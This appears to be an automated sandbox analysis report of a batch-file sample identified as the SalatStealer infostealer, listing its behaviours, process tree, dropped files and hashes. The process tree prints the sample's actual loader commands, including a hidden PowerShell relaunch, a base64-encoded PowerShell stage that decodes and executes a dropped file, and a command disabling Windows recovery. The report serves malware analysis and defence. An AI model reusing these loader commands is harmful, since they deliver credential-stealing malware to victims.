Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/10/2026, 03:52

General

  • Target
    service.bat
  • Size 4.6MB
  • Sample261030-ee2mjsg12z
  • SHA256 b3ae6c66d015e54037520b34fb5618ca5e9519b2a4e75482fb2fe4541f3bad6a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: salatstealer

    SalatStealer is a stealer that takes sceenshot written in Golang.

  • Detect SalatStealer payload 15 IoCs
  • UAC bypass 3 TTPs 1 IoCs
  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Executes dropped EXE 3 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Drops file in System32 directory 2 IoCs
  • UPX packed file 19 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Program Files directory 3 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 5 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 51 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\service.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3748
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoP -NonI -W Hidden -c "$p=$env:LCBAT; Start-Process -WindowStyle Hidden -FilePath $env:ComSpec -ArgumentList @('/c',([char]34+$p+[char]34),'h')"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:6068
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\service.bat" h
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2228
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -NoP -NonI -W Hidden -Exec Bypass -e "JABmAD0AWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AFQAZQBtAHAAUABhAHQAaAAoACkAKwAnAGwAYwBfADMANQA0ADgAXwAxADcAOAA5ADIAMQA4ADMAOAA4ADgANAA4ADAAMQA3ADIAMAAwAC4AbAA2ADQAJwA7ACQAdAA9AFsASQBPAC4ARgBpAGwAZQBdADoAOgBSAGUAYQBkAEEAbABsAFQAZQB4AHQAKAAkAGYAKQAtAHIAZQBwAGwAYQBjAGUAJwBbAFwAcgBcAG4AXQAnACwAJwAnADsAaQBlAHgAKABbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAHQAKQApACkA"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1176
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\u4mjjl5t\u4mjjl5t.cmdline"
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:4652
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB675.tmp" "c:\Users\Admin\AppData\Local\Temp\u4mjjl5t\CSCCB03DE92ABD14AE8902910E28B7BB348.TMP"
              6⤵
                PID:3332
            • C:\Users\Admin\AppData\Local\Temp\p_978ca0a5-2dbe-4891-a665-0f3abd33158f.exe
              "C:\Users\Admin\AppData\Local\Temp\p_978ca0a5-2dbe-4891-a665-0f3abd33158f.exe"
              5⤵
              • Executes dropped EXE
              • Drops file in Program Files directory
              • Reads the TCP/IP host and domain name from the registry
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:348
              • C:\Program Files (x86)\MSBuild\WmiPrvSE.exe
                "C:\Program Files (x86)\MSBuild\WmiPrvSE.exe"
                6⤵
                • Executes dropped EXE
                • Drops file in Program Files directory
                • Reads the TCP/IP host and domain name from the registry
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:3564
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe
                  7⤵
                  • UAC bypass
                  • Badlisted process makes network request
                  • System Location Discovery: System Language Discovery
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  • Suspicious use of WriteProcessMemory
                  PID:5116
                  • C:\Windows\SysWOW64\ReAgentc.exe
                    "C:\Windows\system32\ReAgentc.exe" /disable
                    8⤵
                    • Drops file in System32 directory
                    • Drops file in Windows directory
                    • System Location Discovery: System Language Discovery
                    PID:3092
                • C:\Program Files (x86)\Microsoft\Edge\Application\WmiPrvSE.exe
                  "C:\Program Files (x86)\Microsoft\Edge\Application\WmiPrvSE.exe" -
                  7⤵
                  • Executes dropped EXE
                  • Reads the TCP/IP host and domain name from the registry
                  • System Location Discovery: System Language Discovery
                  PID:1296
    • C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
      1⤵
        PID:2740
      • C:\Windows\System32\svchost.exe
        C:\Windows\System32\svchost.exe -k netsvcs -p -s BDESVC
        1⤵
          PID:6004

        Network

              MITRE ATT&CK Enterprise v16

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              StartupProfileData-NonInteractive

              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
              • Size 1KB
              • SHA256 4e14a7b28afff95b70ba849207619ff903c6ea821b8cf2c12b589579a7d7d3af
              • MD5 SHA1 SHA512 TLSH

              RESB675.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESB675.tmp
              • Size 1KB
              • SHA256 4c5ab2b803139e8982f4e28674962a2024474ea22b0d5f26c69a961b9d4405c0
              • MD5 SHA1 SHA512 TLSH

              __PSScriptPolicyTest_mt0kqtxz.y0q.ps1

              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mt0kqtxz.y0q.ps1
              • Size 60B
              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
              • MD5 SHA1 SHA512 TLSH

              lc_3548_1789218388848017200.b64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.b64
              • Size 4.6MB
              • SHA256 3da2c0a994bf3f0c6a1a7a76ecff6c1a31eeec96be03bc86874909a43d929eec
              • MD5 SHA1 SHA512 SSDEEP TLSH

              lc_3548_1789218388848017200.l64

              • Path C:\Users\Admin\AppData\Local\Temp\lc_3548_1789218388848017200.l64
              • Size 10KB
              • SHA256 4798a29f55cd8200581123ae2aaa40a4657edd358b7b5b2831506e41663cc293
              • MD5 SHA1 SHA512 SSDEEP TLSH

              p_978ca0a5-2dbe-4891-a665-0f3abd33158f.exe

              • Path C:\Users\Admin\AppData\Local\Temp\p_978ca0a5-2dbe-4891-a665-0f3abd33158f.exe
              • Size 3.4MB
              • SHA256 2d14c4c6626d132fceb3e7639a344875db53c10b39a32f0069c3d9453720cd88
              • MD5 SHA1 SHA512 SSDEEP TLSH

              u4mjjl5t.dll

              • Path C:\Users\Admin\AppData\Local\Temp\u4mjjl5t\u4mjjl5t.dll
              • Size 5KB
              • SHA256 68d60cbd8318da327f68585fff5f47cc24a4bd7196bbf35eb5367d6f4fd3ea39
              • MD5 SHA1 SHA512 SSDEEP TLSH

              CSCCB03DE92ABD14AE8902910E28B7BB348.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\u4mjjl5t\CSCCB03DE92ABD14AE8902910E28B7BB348.TMP
              • Size 652B
              • SHA256 78884e42567933785ffaf1704e1d50f7cb2021125c52576eaeb3afbcb65beb0e
              • MD5 SHA1 SHA512 TLSH

              u4mjjl5t.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\u4mjjl5t\u4mjjl5t.0.cs
              • Size 2KB
              • SHA256 f48c932311da4613b034f7a793b257a73ccd428c9c8758b19d312b7d208f3852
              • MD5 SHA1 SHA512 TLSH

              u4mjjl5t.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\u4mjjl5t\u4mjjl5t.cmdline
              • Size 369B
              • SHA256 2003254673a2a24be1d62b30075f96061d5f27968802c8ab1c91801cc43bca2c
              • MD5 SHA1 SHA512 TLSH

              memory/348-854-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/348-859-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/348-860-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/348-868-0x0000000000A50000-0x00000000016A5000-memory.dmp

              memory/1176-828-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/1176-845-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/1176-819-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/1176-829-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/1176-818-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/1176-857-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/1176-835-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/1176-843-0x000001817F450000-0x000001817F458000-memory.dmp

              memory/1176-856-0x000001817F610000-0x000001817F73F000-memory.dmp

              memory/1296-877-0x0000000000610000-0x0000000001265000-memory.dmp

              memory/1296-888-0x0000000000610000-0x0000000001265000-memory.dmp

              memory/3564-924-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-920-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-919-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-923-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-922-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-918-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-916-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-867-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-921-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-869-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-870-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/3564-925-0x00000000008F0000-0x0000000001545000-memory.dmp

              memory/5116-881-0x0000000005780000-0x00000000057E6000-memory.dmp

              memory/5116-905-0x00000000078F0000-0x0000000007F6C000-memory.dmp

              memory/5116-879-0x0000000004F00000-0x0000000004F22000-memory.dmp

              memory/5116-876-0x0000000002480000-0x00000000024B6000-memory.dmp

              memory/5116-880-0x0000000005710000-0x0000000005776000-memory.dmp

              memory/5116-910-0x0000000008530000-0x0000000008AEA000-memory.dmp

              memory/5116-889-0x00000000057F0000-0x0000000005B4B000-memory.dmp

              memory/5116-891-0x0000000005D00000-0x0000000005D1E000-memory.dmp

              memory/5116-892-0x0000000005D90000-0x0000000005DDC000-memory.dmp

              memory/5116-893-0x0000000006CD0000-0x0000000006D18000-memory.dmp

              memory/5116-894-0x0000000007120000-0x0000000007156000-memory.dmp

              memory/5116-895-0x000000006FEB0000-0x000000006FEFC000-memory.dmp

              memory/5116-896-0x00000000702D0000-0x000000007062B000-memory.dmp

              memory/5116-903-0x0000000007160000-0x0000000007180000-memory.dmp

              memory/5116-904-0x0000000007180000-0x0000000007223000-memory.dmp

              memory/5116-878-0x0000000004F50000-0x000000000559A000-memory.dmp

              memory/5116-906-0x00000000072B0000-0x00000000072CA000-memory.dmp

              memory/5116-907-0x0000000007310000-0x000000000731A000-memory.dmp

              memory/5116-908-0x00000000073C0000-0x0000000007456000-memory.dmp

              memory/5116-909-0x00000000077B0000-0x00000000077D2000-memory.dmp

              memory/6068-1-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/6068-2-0x00000272A11E0000-0x00000272A1202000-memory.dmp

              memory/6068-8-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/6068-10-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/6068-11-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/6068-12-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/6068-14-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/6068-15-0x00000272A1250000-0x00000272A137F000-memory.dmp

              memory/6068-16-0x00007FFEC5DA0000-0x00007FFEC6744000-memory.dmp

              memory/6068-0-0x00007FFEC5F2F000-0x00007FFEC5F30000-memory.dmp